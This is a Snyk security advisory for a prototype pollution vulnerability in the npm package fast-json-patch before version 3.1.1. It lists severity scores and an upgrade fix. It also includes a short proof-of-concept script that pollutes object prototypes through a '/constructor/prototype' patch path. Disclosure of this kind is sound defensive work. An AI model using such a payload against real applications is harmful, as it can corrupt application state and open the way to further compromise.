Prototype Pollution Affecting fast-json-patch package, versions <3.1.1


0.0
high

Snyk CVSS

    Attack Complexity Low

    Threat Intelligence

    Exploit Maturity Proof of concept
    EPSS 0.31% (70th percentile)
Expand this section
NVD
9.8 critical

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications
  • Snyk ID SNYK-JS-FASTJSONPATCH-3182961
  • published 26 Dec 2022
  • disclosed 26 Dec 2022
  • credit Unknown

How to fix?

Upgrade fast-json-patch to version 3.1.1 or higher.

Overview

fast-json-patch is a leaner and meaner implementation of JSON-Patch.

Affected versions of this package are vulnerable to Prototype Pollution via constructor/prototype in fast-json-patch.js.

This is another method to exploit SNYK-JS-FASTJSONPATCH-595663.

PoC

// poc.js
let fastjsonpatch = require("fast-json-patch");
function A() {}
let a = new A();
let b = new A();
console.log("Before : " + a.polluted);
console.log("Before : " + b.polluted);
const patch = [{op: "replace", path: "/constructor/prototype/polluted", value: "Yes! Its Polluted"}];
fastjsonpatch.applyPatch(a, patch);
console.log("After : " + a.polluted);
console.log("After : " + b.polluted);

npm i fast-json-patch   # Install affected module
node poc.js   #  Run the PoC